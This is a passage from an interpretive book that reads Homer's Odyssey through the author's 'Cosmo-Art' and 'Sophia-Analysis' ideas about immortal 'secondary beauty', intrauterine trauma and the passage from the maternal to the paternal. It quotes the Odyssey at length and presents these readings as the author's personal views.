hear. If they refuse to listen, they will be the only ones responsible for the struggles that will befall them. This is a world-view never proposed before, in either the East or the West. There is no god to offer either rewards or punishment, and no karmic entity forces anyone to pay for the wrongs they committed in a previous life. All are responsible for the life given to them, and
h.
i.
j.
k.
l.
m.
12
they must only decide whether to live as unhappy victims or as artists called to contribute to the life of the entire universe, by creating immortal beauty. n. The Odyssey is not an adventure tale but is a book of wisdom (every great culture has one). We all can use it to profoundly understand ourselves and to learn to create beauty and immortality, both our own and that of the entire universe. It is only partially true that Ulysses faces obstacles that Poseidon threw up against him during his return to Ithaca. The whole truth is that Zeus chose Ulysses to be submitted to continuous “trials”. Through these trials, he could strengthen his courage and his determination to reach the goal of the fusion of cosmic and human forces and the beauty this creates. He does this even when he must risk his life, if necessary. The Bible is another book of wisdom, and it tells about a man named Job who underwent the most horrible suffering possible at the hand of his god, but we never know why this happened. The reason for this is surrounded by the mystery of a god who never revealed to patient Job why he had to undergo so much suffering. Why so much pain? We never know. p. Ulysses, the patient Ulysses, the man of many woes, as Homer often calls him, undergoes many trials. This is stated in the poem’s forward and is repeated in the second to last book, where it is also stated that Penelope, and not just Ulysses, has to face many trials as well. The reason behind these many trials is not a mystery; it is described in detail throughout whole Odyssey. One must only know how to read into between the lines and meditate upon what they find there. One must only compare one’s own life with Ulysses and Penelope’s lives, and the truth will emerge. Everything we go through today is mirrored in what Ulysses and Penelope went through, if not in exact detail, then at least in substance. They, however, listened closely to their internal wisdom and to cosmic wisdom, represented by Athena and by Zeus. Doubts and indecision often plagued them, but in the end they always chose the right course of action. This is why they have become immortal archetypes of men and women across the ages. Sex, Homer says, is nothing to feel guilty about if it does not cause violence for anyone. If, instead, one accepts to remain stuck in intrauterine incest and in a perverse enmeshment with the devouring and castrating mother, they are guilty. When one remains victim to repressed hatred, greed, envy, hybris and arrogance, suicidal and homicidal decisions and life lived based on arrogant
o.
q.
13
demands they are also guilty: these are all poisons that destroy one’s own life and the life of others. I formulated these hypotheses while I was living through painful life situations and while I was creating Cosmo-Art. During this time, I discovered the profound correspondence between the anthropological and cosmological vision of Cosmo-Art and the vision of Homer. Cosmo-Art is an artistic movement, developed within the context of the Sophia University of Rome and its Institutes and Centers. Those who would like to know more can read the books I have written on the subject: The Ulysseans, Published by the Sophia University of Rome, (S.U.R.) 2009, “La nascita della Cosmo-Art”{The Birth of Cosmo-Art} Published by the Sophia University of Rome, (S.U.R.) Rome, 2000, Theorems and Axioms of Cosmo-Art, Published by the Sophia University of Rome, (S.U.R.) 2009, “Il mito di Ulisse e la bellezza seconda” {The Myth of Ulysses and Secondary Beauty}, Published by the Sophia University of Rome, (S.U.R.) 2005, and “I Laboratori Corali della Cosmo-Art” {The Cosmo-Art Group Laboratories}, Published by the Sophia University of Rome, (S.U.R.) 2006, I will speak of the above hypotheses and others as well in the course of this book, while following my own particular train of thought. *****
14
CHAPTER I
BEYOND THE SIEGE AND THE RETURN, OR THE ROAD TO IMMORTALITY ACCORDING TO ULYSSES
Franco Ferrucci, in his acute and eloquent paper entitled “Oltre l’assedio e il ritorno” {Beyond the siege and the returning}, found on pages 123-133 in the volume of the Acts of the Congress “Ulisse: archeologia dell’uomo moderno” {Ulysses: archeology of the modern man}, published by Bulzoni in 1998, says two interesting things. The first is that Homer’s two poems contain all the development of western literature: the second is that, beyond the theme of the siege and the return, “tertium non datur” {there is no third possibility}. Between the perception of nothingness portrayed in the beginning, says Ferrucci, and the perception of nothingness in the end, man has no chance other than to plan a siege on life, or to console himself with the epic of the return to nothingness, after having experienced the siege. I don’t believe that this is the second Homer’s thought, the one that composed the Odyssey. Ferrucci did not reflect at all on the fact that Ulysses twice renounces immortality as promised him, first by Circe and the second time by Calypso. Neither does he ask himself the reasons why Ulysses refuses this offer twice, with so much conviction. As far as I know, no expert in mythology, Greek or World literature can find someone else who has turned something like this down. So what does Ulysses’ decision mean? What lies behind it? I think I have an answer to these questions and I want to offer an interpretation of the Odyssey that can explain my answer. However, I want to ask the reader two fundamental questions. The first is, when does the voyage of the light that departs from a star end? Can there be a return to the point of departure if the star that generated it has been dead for billions of years? The second is when does a work of art’s voyage end? Does it ever end, or is it a voyage that lasts forever? Is there ever a return to the artist that created it, who has been dead for who knows how long?
15
Cyanobacteria, the first forms of life, fed themselves on light and with it, they created oxygen. A work of art also feeds on light. But to create what? Human beings also feed on light, not only so they can stay alive, but especially so they can create a life form that can travel from one universe to the next, into eternity. I call this life form Secondary Beauty and it is a type of immortal beauty that once created never dies. It is a field of energy that is superior to any type of physical energy and only human beings can create it, if they desire to do so. It is an unknown energy field just as the soul of an art form is unknown; however, the soul of an art form exists and exerts and influence on us, and no one can deny this. I would like to answer Ferrucci by saying that this, in my opinion, is the possible alternative to the siege and the return. Clearly, the alternative that I propose comes neither from a scientific truth, nor from a religious one. It comes from a poetic-existential truth that I believe is contained in Homer’s poem and coincides with the poetic vision of Cosmo-Art that I have created. I believe that the elegance and the beauty of my alternative proposal can fascinate many readers that are trying to give meaning to their lives. To create primary beauty, like a beautiful face, a beautiful view, the sky and many other forms of beauty, natural and human forces are sufficient. Secondary beauty, instead, requires an immense energy that is the result of the fusion of human and cosmic forces. It often happens that human beings must use their best energies to construct and maintain defensive or offensive systems, from the time of intrauterine life onward. If they do not first free these energies from their investment in such mechanisms, they cannot use them to create secondary beauty. For this reason, the individual must undertake a journey back into the abyss of his or her intrauterine experience. This is what Ulysses does during his odyssey, so he can free up all that energy hitherto invested in defending himself from his internal monsters. Only afterwards can he fully use this energy to create immortal beauty. While Dante identifies the cardinal sins as the negative forces that destroy people during their lives after they have left the womb, Homer sees them as operating on an intrauterine level, within the sea of amniotic fluid. He not only identifies the vices (the five poisons) but he also shows us our internal monsters and the trauma they produce, as well as the immense pain they cause us. Ulysses does not undertake this journey alone. He has the constant presence of Athena (internal wisdom) by his side, and the loving presence of Zeus (cosmic wisdom)
16
is always in the background. There is also the presence of Hermes, which is decisive in at least two situations that human forces alone cannot solve. There are also the chthonic forces and they Ulysses’ trip to Hades represents them well. There is also Poseidon’s violence, which is necessary for smashing Ulysses’ hybris into pieces, along with all of the arrogance that blinds him for so long and makes it impossible for him to be responsible for his own guilt. Human guilt also contains precious energy. One must learn how to extract it, so it can be used to create secondary beauty. After Ulysses returns to Ithaca, he leaves again to undertake a long journey, this time by both land and sea, as Teiresias had told him to do. He will stop only when he will have learned the difficult art of extracting beauty from guilt. Ulysses must be willing to embrace all of these human and cosmic forces one step at a time, and he must learn to synthesize them continuously so he can transform his life. The story of the Odyssey is not an epic poem about the valor of arms and military battle; it is the story of a man who learns to battle against himself so he can become an artist of his own life and of the life of the universe. No one else has ever told this story in the way Homer tells it. *****
17
CHAPTER II
DISCOURSE ON BEAUTY
Man cannot live on bread alone but on bread and .... beauty. By now, it is certain that beauty is the only sure connection between immortality and human beings, and there is no one who does not wish to become immortal in their innermost self. Works of art that contain true beauty are immortal and those that do not contain it wind up in oblivion. We all surround ourselves with beautiful things when we can, but this does not satisfy us as we wish it would. The poor during past centuries were more careful; they created beautiful temples and cathedrals where everyone could go to enjoy the beauty and the majesty that were the fruits of their money and their labour. Still today in Myanmar, thousands and thousands of gold leaves cover the cupolas of the temples and even the poorest families throughout the nation supply them. Today’s poor, instead, chase after comfort. For this, they are willing to indebt themselves up to their necks as well as to risk their lives, while undertaking endless migrations. This too, perhaps, is a way of creating beauty and immortality, even though it is distorted. When, as so often happens, disillusionment and unhappiness arrive, people often realize that it is another type of beauty they are looking for, and not material comfort and wealth. The kind of beauty that we are familiar with is present under various forms; we will here name three in particular, primary beauty, secondary beauty and the beauty of life. Primary beauty is a fruit of nature and is always subject to death. Secondary beauty is a fruit of humanity’s artistic action and, once it is created, it is no longer subject to death nor to the law of entropy. It is immortal and it guarantees immortality to those who know how to create it. It is immortal and it lives in the works of art that humanity has created and protects.
18
It is immortal and lives in the archetypes that reside in the collective unconscious of the human species. It is immortal and lives in the cosmic consciousness that surrounds this planet and the whole universe, just as the aura that surrounds our bodies is visible in the Kirlian photographs. It is immortal because it can leave this universe and travel from one universe to the next, forever. Primary beauty is connected to form and to the relationship between matter and form. We can perceive this with our senses such as sight and hearing. Secondary beauty is not necessarily connected to form. To the contrary, it transcends both form and external sense perception. It leads directly to the extremely particular energy field it is made of and that keeps it alive; this contact does not come about through the senses, but through the vibrations that emanate from the beauty itself, which those who learn how to perceive them can feel. So far, only the great artists have been able to produce this beauty through their immortal works of art. With Cosmo-Art, which we will discuss in a bit, it can become available to all those who decide to develop their artistic self. This internal artist is within all human beings and it is what allows us to make continual syntheses of opposites and create new beauty. This particular type of beauty signals a next step in the evolution of art, which to exist will no longer need a material support to remain alive. It will also no longer have to remain closed within the space-time borders of this universe. There is, then, a third type of beauty, the beauty of life, the beauty of living. This, too, is a form of primary beauty that is found in nature. It can be lost and found again, but it cannot be purchased. The inner self can perceive it but the senses cannot. When it is missing, both the inner self and the body suffer from its absence. When we feel that we have lost it and we want to find it again, we must be willing to take on a difficult task. This may come in the form of a spiritual path or an artistic spiritual path. In any case, it always brings with it a profound transformation, but by itself, it does not guarantee immortality. Psychoanalysis, as created by Freud, is essentially a search for knowledge of the unconscious and its drives, but knowledge of the unconscious does not automatically lead to a transformation. Therefore, it does not necessarily lead to well-being, or to beauty. Sophia-Analysis, combined with Sophia-Art and Cosmo-Art, disciplines I created and have been developing since 1970 and that enrich and complete each other, is a path of knowledge and of wisdom, which leads to the transformation of oneself. This
19
transformation serves to create beauty. Its goal is thus the search for beauty and not the search for knowledge as an end unto itself.∗ Sophia-analysis explores the existential unconscious from the intrauterine period up until adolescence, because that is where our greatest traumas, which paralyze our actions and our creativity, remain hidden. The existential unconscious consists of the factual unconscious, the reactive unconscious and the decisional unconscious. The last contains our decisions based on love and on hatred that determine our life and our destiny (see A.M. “Teoria dell’inconscio esistenziale” {Theory of the Existential Unconscious}, Published by Costellazione di Arianna, 1995). Sophia-analysis also explores the transcendental unconscious or the transcendental Self. Every human being has one and benefits from its wisdom that operates within us and for us, even when we are unaware of it (see A.M. Theory of the Person and Existential Personalistic Anthropology, published by The Sophia University of Rome (S.U.R.), 2009). Sophia-analysis aims at helping to become aware of the laws of life (those that Homer indicates with the word “duty”), and of the actions of the deeper Self: of its purpose; its freedom to choose between love or hatred, truth or lies; and of its ability to create and transform itself (see A.M. “Le Leggi della Vita” {The Laws of Life}, Published by Sophia University of Rome 1995). This awareness and this wisdom, united with the art of self-transformation (Sophia-Art and Cosmo-Art), help us recover lost beauty and help us create secondary beauty. An individual thus becomes a searcher for truth and freedom and, with the truth and freedom she gradually manages to obtain, becomes a person who recognizes a creative artistic power within, with which she can create and recreate herself an infinite number of times. In this manner, she becomes an artist of her own life and an artist of the life of the cosmos to which she belongs. Sophia-Art is the art of transforming oneself through unifying all the split and fragmented parts that we all carry inside ourselves from the moment we entered into life on. This is done by first developing “awareness”, which is deep and lasting knowledge of ourselves. Then, the I Person’s “artistic decision” to create a synthesis of all the opposites that life is made up of must be developed as well (see A.M. “La vita
see Mercurio and Ciapini: “From the Myth of Oedipus to the Myth of Ulysses”, a paper given at the World Congress on Psychotherapy in 2000, and published in Italian in the book “La Sophia-analisi e l’Edipo” {Sophia-Analysis and Oedipus}, Published by Sophia University of Rome, Roma, 2000
∗
20
come opera d’arte e la vita come dono spiegata in 41 film” {Life as a Work of Art and Life as a Gift Explored in 41 Films}, Published by the Sophia University of Rome, (S.U.R.) Rome, 1995). Cosmo-Art is the art of knowing how to give human life a new cosmological framework and a new cosmic identity, which makes the “flow of particles that we are” (see Olga Karitidi ) a precious part of the single living organism that is the Cosmos in which we live (see A.M. Theorems and Axioms of Cosmo-Art, Published by Sophia University of Rome, Rome, 2009 and also The Ulysseans, Published by Sophia University of Rome 2009). Cosmo-Art is the art of alchemical transformation, which is the result of the fusion of cosmic and human forces and the fusion of pain, wisdom and art (see A.M. “La nascita della Cosmo-Art” {The Birth of Cosmo-Art} Published by Sophia University of Rome, Rome 2000). It is the art of the creation of secondary beauty, a type of beauty that never dies and that can travel from one universe to the next, forever (see “I Laboratori Corali della Cosmo-Art” {The Cosmo-Art Group Laboratories} Published by Sophia University of Rome, Rome 2006). Here I would like to underline that there is a profound difference between searching for knowledge and searching for truth. The truth lies deep within and it takes great pain and courage to obtain it; knowledge lies on the surface and requires study and consistence; it requires work, but not pain. ******
21
CHAPTER III
VISIBLE AND INVISIBLE BEAUTY
Homer’s poems all gravitate around the contrast between beauty that is visible and beauty that is invisible. In the words of Cosmo-Art, this contrast is essentially between primary beauty, which is ephemeral and mortal and secondary beauty, which is immortal and can only be created by human beings through the fusion of human and cosmic forces. The meaning of life and the reason death exists can be explained by this type of creation. If death did not exist, no one would look for a way to become immortal. The quest for secondary beauty is the way that Cosmo-Art suggests we can achieve immortality. In Homer, the presence of the gods represents cosmic forces and the presence of humans represents human forces and human creativity. While almost all the gods from the Greek Olympus are present in the Iliad, only a few are found in the Odyssey: Zeus, Poseidon, Athena, Hermes, Apollo and a couple more of lesser importance. In the Iliad, the gods maneuver humans at their pleasure; in the Odyssey, the gods speak to humans and the humans decide whether to listen to them. The most notable dialogues are those that take place between Athena and Ulysses and between Hermes and Ulysses before he arrives at Circe’s island. The gods are inside of us and they represent the deepest parts of ourselves, both positive and negative. That the gods are inside of us is something that sacred Hindu and Egyptian texts state explicitly. Homer tells us that primary beauty brings with it disaster and death for those who remain imprisoned by it (e.g. Helen’s beauty, that causes an atrocious ten year war and innumerable deaths between the Achaeans and the Trojans; the Sirens who use the beauty of their song to enchant and then destroy sailors who pass by them; the nymph Calypso, whose beauty imprisons Ulysses on her island for seven long years; Penelope’s beauty which causes the death of her one hundred eight suitors). Secondary beauty, instead, is a result of concordance and it brings with it a type of immortality that is superior to the type the immortal gods have. Homer mentions this concordance when Ulysses turns to Nausicaa and he gives her his blessings: .... “may the gods bring you all the gifts your heart so desires) What Ulysses wishes for Nausicaa is the goal that in his own heart he hopes he and Penelope can reach. This is a very difficult goal to achieve, especially for those who do not love themselves, or know how to love. It is an enormous challenge for those who are full of pride and expectations, who remain in their mother’s grip and are slaves to all the human passions. Every event in the Odyssey stimulates Ulysses’ knowledge and transformation of himself. They help him leave hatred and revenge behind, they help him learn to forgive, and they help him learn to respect himself and others. Each step is indispensable in creating the “glorious concordance” between Ulysses and Penelope. The creation of concordance between a man and a woman is the most difficult goal that exists. The will to dominate the other, reciprocal violence and control, alternating enmeshment and sadomasochism are what almost all couples experience just as soon as the initial phase of falling in love is over. Very few are those who fight to create the beauty of concordance, while many continue living in total enmeshment, which is at times healthy, and at others perverse. Creating concordance is the same as creating secondary beauty, the type of beauty which creates immortality and which is immortal. This project contains the goal of Life and of the Cosmic Self, of the Yin-Yang fusion as described in oriental thought. The difference is that this fusion is a natural given on a cosmic level, while it most certainly is not between a man and a woman. To achieve concordance between a man and a woman, to create a type of beauty that is superior on a cosmic level: this is what I see as being at the heart of Homer’s poem. When Homer speaks of Helen’s beauty, of the beauty of Achilles’ weapons forged by Hephaestus, of Aphrodite’s beauty who betrays her lame husband with Ares the god of war, and of Penelope’s beauty that is sought after by 108 suitors, he is speaking of visible beauty. But what most interests him is to speak of the invisible beauty that Ulysses can create with the help of Zeus and Athena, as long as he decides to become an artist of his own life and the life of the universe, after having understood that this is the cosmic purpose that he is called to fulfill.
23
This beauty is most certainly superior to the beauty of the immortal gods. Otherwise, there is no explanation for the fact that Ulysses refuses the immortality that Circe and Calypso promise him, if he would only renounce Penelope. Gilgamesh searched desperately for immortality but was unable to attain it. The Pharaohs built their pyramids as signs of their presumed immortality; the Chinese emperors brought their armies of terracotta soldiers to the grave with them, ready to serve in the afterworld. Religions have always competed to be the guarantors of their followers’ immortality. This is human history. So who is Ulysses to say no to the immortality that Circe and Calypso want to give him? What is Homer thinking, that no one else has ever thought of? The alternative he has in mind is the alchemical transformation of Ulysses (transforming lead into gold was the goal, described symbolically, of the alchemists) and the impossible opus that it can create, which is secondary beauty. It is important to reflect on the fact that not only Zeus gets tired of Hera’s beauty, but also Ulysses tires of Calypso and her beauty. This indeed is thought provoking for those who are convinced that if they enjoy God’s beauty, the beatific vision, they will be happy into eternity. By night, Ulysses lies with Calypso, but during the day, he goes to the seashore to cry because he cannot get back to Ithaca. ... “ yes there below the dazzling goddess Calypso wanted to keep me in her deep grottoes wishing I would be her husband Circe kept me in her house the same way the seductive goddess wanting that I be her spouse never did they persuade my heart”. (Od.IX, 29-33) Here Ulysses affirms with conviction that neither Circe nor Calypso can stop him from continuing to believe in his goal of cultivating his relationship with Penelope. The Nymph Calypso tells us how Ulysses is constantly thinking of Penelope: “ Ulysses, noble son of Laertes so home to the land of your forefathers you will now go? Good, may you be happy! But if only you knew how much suffering awaits you, before you reach your homeland, staying here with me, you could share my home and become immortal, even though you are so anxious
24
to see your bride again, whom you call out for every day.” (Od. V, 203-211) He answers Calypso: “Oh sovreign goddess, don’t be angry with me over this: I know, and very well at that, that compared to you wise Penelope is nothing in terms of looks and greatness: she is mortal, and you are immortal and age does not touch you. But even so I wish to return home, and I invoke the gods to allow me to return. If still some one of them will wish to torment me on the stormy sea, I will tolerate it, because my heart is used to suffering. I have suffered immensely, I have faced many dangers between the waves and in war: after all that, may this come to pass as well!” (Od. V. 215-224) In my opinion, Ulysses is saying to the goddess Calypso, your beauty is certainly superior to Penelope’s, but I prefer the immortal beauty I can create myself, together with Penelope. For this reason, I can accept the endless suffering that the gods have inflicted on me during my long return home, as well as the ones that they may still want to torment me with. Most certainly, Homer is speaking about beauty that is invisible to the eye but visible to the heart, through Ulysses’ words. The second Homer centered his life on the creation of this beauty, contrary to the first Homer, who in the Iliad honors the beauty of weapons and of glorious death in battle. Homer is also saying, between the lines, how much is the gods’ immortality really worth, anyway? Here he is an inconspicuous forerunner to the pre-Socratic philosophers, which soon after would dismantle the belief in the existence of the gods and their presumed immortality. Homer’s cosmological vision is not in line with the beliefs that were prevalent among the Greeks of his time, even though he uses the gods they venerated in his poem. He utilizes the gods as powerful symbols of the cosmic forces that are within human beings, but, through the personage of Ulysses, he gives more importance to humans than to the gods. Only humans can create an immortal type of beauty that is superior to the supposed immortality of the gods, with, of course, the help of cosmic forces.
25
In my opinion, this is the most important meaning behind Homer’s portrayal of how Ulysses politely refuses the immortality offered to him by Calypso, should he accept to marry her. Homer’s poetic transmission of his ideas avoids creating a scandal, and so they can easily circulate without religious or political censure attacking them, as instead happens later on with Socrates. The Greeks and other Mediterranean peoples, particularly the Etruscans, were convinced that the Odyssey was not an adventure story but rather was a book of wisdom. What is wisdom? The art of loving oneself and the art of loving others. However, supreme wisdom is the art of knowing how to create for oneself an immortal soul without anyone having handed it out already formed. This soul, that each must create for him or herself, is the single soul that Ulysses speaks to Nausicaa about. The creation of the type of beauty that emanates from the ability of two souls to become one, as described by Homer, is the creation of secondary beauty as described by Cosmo-Art. This is my own conviction, and my ideas come from the wisdom I gleaned while I meditated on my own experiences and on those of Ulysses. Well before Homer wrote the Odyssey, Ulysses was a mythical figure that the Greeks had widely fantasized about. Many different versions regarding him were created over time, and they were often completely different from each other. Homer collects some of these versions and leaves others out, according to his own personal choices. In this manner, he creates a poetic figure whose roots lie in the myths, but who becomes a specific creation of Homer’s personal ideas. Homer incarnates his own beliefs and values in the beliefs and values of Ulysses. Ulysses is Homer and what happens to Ulysses is Homer’s personal story, whether he actually experienced these things or even perhaps only dreamed and fantasized about them. One clue that can help us understand that Ulysses is none other than Homer is in the eighth Book, where Ulysses, with his hiccoughs, astutely makes Demodocus stop singing and he himself starts telling his own tormented story. His storytelling abilities are so great that the Phaeacians do not want him to stop. Just as Homer is a storyteller, so is Demodocus, and so is Ulysses, who, through the mastery of his tale telling, substitutes both. But this is an example of Homer’s cunning, who by describing Ulysses is actually describing himself. In the first verses of the poem, Ulysses is referred to as a very ingenious man. He has met many different people, he has suffered much pain and even
26
though he wanted to save his companions, he was unable to, because of their insanity caused by their greed, envy and hatred. It seems very strange to me that of these verses readers only remember his cunning and thirst for knowledge. No one seems to stop and wonder about the many woes that Ulysses had to endure. Why is it that no one remembers the pain Ulysses goes through and everyone remembers only his cunning? I believe that everyone wants to be cunning like Ulysses, but very few are willing to suffer and transform himself as he is. Again, in the proem, Zeus complains about the mad Aegisthus, who did not want to listen to the wise advice that the god had sent to him via Hermes. The whole Odyssey, instead, is the story of how Ulysses listens to the wise counsel that Athena constantly offers him. Through reading the whole poem, it becomes evident that Homer wants to compare Ulysses to Aegisthus, one being wise and the other being mad. He also wants to compare Ulysses to his companions who are all dead due to their madness. While Ulysses and Aegisthus are obviously two different characters, I believe that Ulysses represents only one part of Homer, while Ulysses’ travelling companions represent the other part. Therefore, both madness and wisdom are equally present within the same human being, and humanity is free to choose between wisdom and madness. If Ulysses’ companions die, it is his madness and his crazy parts that die. If Ulysses survives, it is his wisdom that saves him. Is Human life thus a painful wandering between madness and wisdom or rather a continual journey from madness towards wisdom? From Ithaca to Troy and from Troy back to Ithaca? And if so, why? Because this, as Malraux would say, is simply the human condition? Or is it because, as Cosmo-Art would say, human beings have a purpose, to create Secondary Beauty, immortal beauty, the type of beauty that never dies? A type of beauty that is different from primary beauty, which is, instead, ephemeral and mortal? In this second case, wisdom is not an end unto itself, as perfection instead is for Jews and Christians, or Illumination is for the Buddhists. Its purpose is to develop the human artistic ability to create immortal beauty that the Universe or the gods alone will never be able to create. If we can combine wisdom, pain and art, as Cosmo-Art suggests, we can extract beauty from ugliness, and we can create a type of immortal beauty that renders those who create it immortal.
27
In this view, the Odyssey is no longer an odyssey as many see it but it is an initiation or an alchemical journey, which narrates the voyage of men and women from a condition of mortality to one of immortality. This journey requires a profound transformation; it requires the transformation of one’s darkness into light. This is why wisdom, cunning, deep humility and the ability to accept pain creatively, and not masochistically, are necessary. A similar process happens in the Cosmos when a star is created. First, there is a dark cloud, and then this cloud condenses and collapses on itself, then, as the result of tremendous pressure, it reaches a temperature of millions of degrees. Finally, the atoms fuse in a thermonuclear reaction, creating light and new atoms that did not exist before. Does the cloud suffer; does the star suffer as humans do? The Greeks left us not only Homer’s poems but they also spoke to us of the Orphic and Eleusian Mysteries. We know very little about these “mysteries” because their adepts were bound to absolute secrecy. What we do know is that they were trying to become immortal. I believe that what we can never know about the content of these mysteries we can discover by lifting the veil from Homer’s verses. **** The Odyssey begins where the Iliad left off. For a long time I asked myself: what is the connection between these two poems? In my book The Ulysseans, I hypothesized that the Iliad narrates the intense battle that sperm undertake when they try to enter into the ovum. The Odyssey, instead, narrates everything the human being must undergo so as to cross the turbulent ocean of the amniotic sac without being destroyed (see The Ulysseans, chapter VII, Published by Sophia University of Rome, 2009). This is a first interpretation. There is also a second one. The Trojan War begins because Paris, a Trojan prince, stole Helen from Menelaus and brought her with him to Troy. A battle becomes necessary to regain lost beauty. However, Helen’s beauty, which was considered as being the greatest in the world, is an ephemeral beauty, a beauty that age can damage and death can destroy. The Greeks were not willing to settle for ephemeral beauty and a large number of poets, sculptors, painters and artists of all types attempted to create a type of beauty that would be immortal and that would make them immortal as well.
28
The Iliad speaks of the horrors of war, of the ugliness of death, of the ugliness of Achilles’ wrath and of the hybris of Agamemnon, which caused so much grief for the Achaeans. The Odyssey speaks of the journey from ugliness to a superior type of beauty that death cannot damage. Human beings have the ability to create ugliness and they have the ability to create beauty that does not yet exist. Among all the Greek heroes that crowd the Iliad, Homer chooses Ulysses to show us that it is possible, through thousands of painful transformations, to create immortal beauty that is superior to the type of immortal beauty created by artists or attributed to the gods. *****
29
CHAPTER IV
TELEMACHUS AND ULYSSES
It is important to understand why Homer devotes the first chapters of the Odyssey to Telemachus, Ulysses’ son. Some believe it is because the Greek mythologists had composed a Telemachia apart from the myth of Ulysses and that Homer incorporated it into the Odyssey so his readers would not be disappointed. I believe there is a deeper reason. In the Greek world, there is a theme that acquires ever-greater significance as time goes on. It is the decision that men and women must make, at some point during their lives, to pass from the maternal world to the paternal one. The Oresteia is the most intense text that the Greeks have left us to describe how dramatic this passage is. Orestes hesitates a long time before he decides to make this passage. Apollo incites him continuously to vindicate his father Agamemnon, killed by Aegisthus, conspiring with his mother Clytemnestra. But Orestes cannot decide. About twenty years go by and finally Orestes leaves his place of exile to go and kill his mother and her lover. This will be a decision that will torment him with deep feelings of guilt for another twenty years, until Athena comes to his rescue by setting up an official trial. Half of the jurors declare him guilty and the other half declare him innocent: Athena absolves him completely and she transforms the Furies that were persecuting him into Eumenides (see the Oresteia of Aeschylus). As soon as Athena obtains permission from Zeus to free Ulysses from the prison Calypso keeps him in, she runs to Ithaca to incite Telemachus to travel to Sparta in search of news of his father. It is important to note that Athena is asking Telemachus to leave the maternal dimension and to enter into the paternal one. Travelling by land and sea to try to find information about his father, without telling his mother about this voyage, is a practical way of undertaking this fundamental passage in the life of human beings.
30
Mothers, except for in rare occasions, don’t want their children to make this passage and they often, either openly or behind the scenes, threaten with death those children who dare to challenge their power. Historically, mothers have allied with their children to eliminate the father. Telemachus, who, as Athena points out, is not lacking in his father’s cunning, informs only his governess Euryclea of his voyage. He asks her to swear she will not say anything to his mother. By keeping Penelope in the dark about his plans, he breaks the complicity that so often exists between mother and son. Telemachus does it with a cunning that is worthy of his father Ulysses. Penelope must know nothing of his journey, says Telemachus to Euryclea, because it would make her cry and he does not want her tears to damage her beauty! ... his governess Euryclea moaned and crying fleeting tears she spoke: “Why dear creature, is this thought in your heart? Why do you think of going out in the world, alone, you who are so young? He died far from his homeland, among unknown people, divine Ulysses. As soon as you leave, the suitors will plot behind your back, to have you die in an accident, and all this they will then divide amongst them. No, stay here and guard what is yours: it’s not necessary that you suffer on the tireless sea and you get lost!” But wise Telemachus answered her: “Come on, grandmother: this plan is not without help from a god. But swear you will not tell my mother any of this until at least the eleventh or twelfth day, or until she herself is looking for me or realizes I have left, because I don’t want her to ruin her beauty with her crying” He said this, and the old woman swore the great oath to the gods. And after she had sworn, she completed the formula, and immediately poured wine into his casks and filled his well-sown sacks with flour. Telemachus returned to the hall and mingled among the suitors. (Od. II, 360-380) We also know that by making this decision Telemachus is risking his life, because as soon as the Suitors find out about it, they decide to go out to sea and surprise him when he returns, to kill him. Is it by chance that the Suitors plot to kill both Telemachus and Ulysses or is it instead that they are acting in complicity with the unconscious will of
31
Penelope, who, not having yet decided to become a woman capable of loving, wants to eliminate both her husband and her son? We must not forget that if the Suitors are in Ulysses’ house this is possible only because Penelope has allowed that they become, in some way, an extension of her will. Athena will be the one to save Telemachus from this mortal threat, but the threat itself shows how dramatic such a decision is. Penelope’s ambiguity and complicity with the Suitors becomes evident if we look at how she acts when Medon tells her what the Suitors are plotting. But it wasn’t long until Penelope found out the plans the Suitors were plotting in their hearts: Medon the herald told her of them, that he had overheard while standing outside the courtyard, and those inside discussed their plans He thus went to the other side of the palace to tell Penelope (Od. IV, 675-679) When Penelope finds out, first she cries pitifully, then she gets angry with her attendants who had not told her, then she decides to warn Laertes so he can tell the people of Ithaca and finally she asks Athena to help her. Curse you all! None of you found it within your heart to rouse me from my bed, even though you obviously knew when he boarded the black ship? (Od. IV, 729-731) ... now someone go right away to call old Dolius... ... who immediately will tell Laertes everything and stay near him (Od. IV, 735-738) This to me seems like a scene she makes so as to deceive herself even more than the others. The only right thing that she should have done doesn’t even cross her mind. Why didn’t she go into the palace hall where the Suitors were camped and kick them all out, calling them assassins? *****
32
CHAPTER V
FROM THE MATERNAL TO THE PATERNAL AND FROM THE EARTH TO THE COSMOS
Keeping in mind this initial theme that introduces the reader to the story that Ulysses will tell of his odyssey, to me it seems only right to think that if we want to understand Homer’s poem on a deep level, we must also consider that Ulysses’ journey after the fall of Troy is a decision to leave the maternal dimension, and enter the paternal one with more conviction. This time it is a radical decision, and it leads him not only from the maternal to the paternal dimensions, but from the earthly one to a cosmic one, from the biological father to the cosmic father. Ulysses’ return after Troy is like a deep regression that brings Ulysses back to his intrauterine experience, to the intrauterine incest that had kept him tied to his mother ever since that phase of his existence. He does this so that he can free himself of this bond forever. The monsters that Ulysses encounters along the way are monsters that he already met in his mother’s womb, and especially Polyphemus, the Laestrygonians, the Sirens, Scylla, Charybdis, in some ways Circe and Calypso, and last of all the Suitors. Ulysses must re-experience every aspect of the maternal dimension, relive it in all its drama and all the pleasure that it can offer, so that he can then detach himself from it completely. He must face the mother who devours and the mother that seduces and castrates, who wants to devour his life and use him for her own needs. He must unmask his unconscious complicity with this devouring and castrating mother, and he must muster all the courage he can find to free himself of her. This is an enormous task, much more real and challenging than the one Hercules faces with his 12 labours. We must particularly underline one important aspect: the gods ordered this regression. Zeus ordered it, and Athena and Hermes are always present during the most crucial moments. It is a voyage through the abyss of the past and at the same time, it is a flight towards infinite spaces impossible to imagine. Why is that Zeus and Athena so intensely want Ulysses to make this journey and accomplish this passage?
33
Here, going from the maternal to the paternal dimension no longer means simply moving from the sphere of influence of his mother Anticlea to that of his father Laertes. Here the passage is even bigger; Ulysses must contact the Cosmic SELF so he can fulfill the purpose that he has been assigned, the creation of secondary beauty, which the cosmic forces by themselves cannot achieve. Their forces must combine with human forces to make it possible. It has to do with the passage of Ulysses from this universe to other universes, something he can do only with the immortal energy that secondary beauty is made of, a synthesis and condensation of many types of energy combined together. All this cannot happen without yet another, even more radical passage: to shift from the status of a mere victim of the many woes the gods afflict on him, to that of an artist that knows how to transform his own life and the life of the universe. Thus he can open up to all the infinite universes that are beyond the limits of this universe. Poseidon, the god of the sea, of water in general and the powerful symbol of the Great Mother, is right when he wants to hinder Ulysses’ journey. The true reason behind Poseidon’s hatred for Ulysses is not to vindicate Polyphemus, whom Ulysses blinded, as it appears at first sight. The more significant reason is that Poseidon, the Great devouring Mother, the mythical figure of the Ouroborus as described by E. Neumann, was himself blinded and deceived by Ulysses while in the shape of Polyphemus. And not only does Ulysses manage to leave the cave in which Polyphemus held him prisoner, but he manages to free himself of the suffocating power that 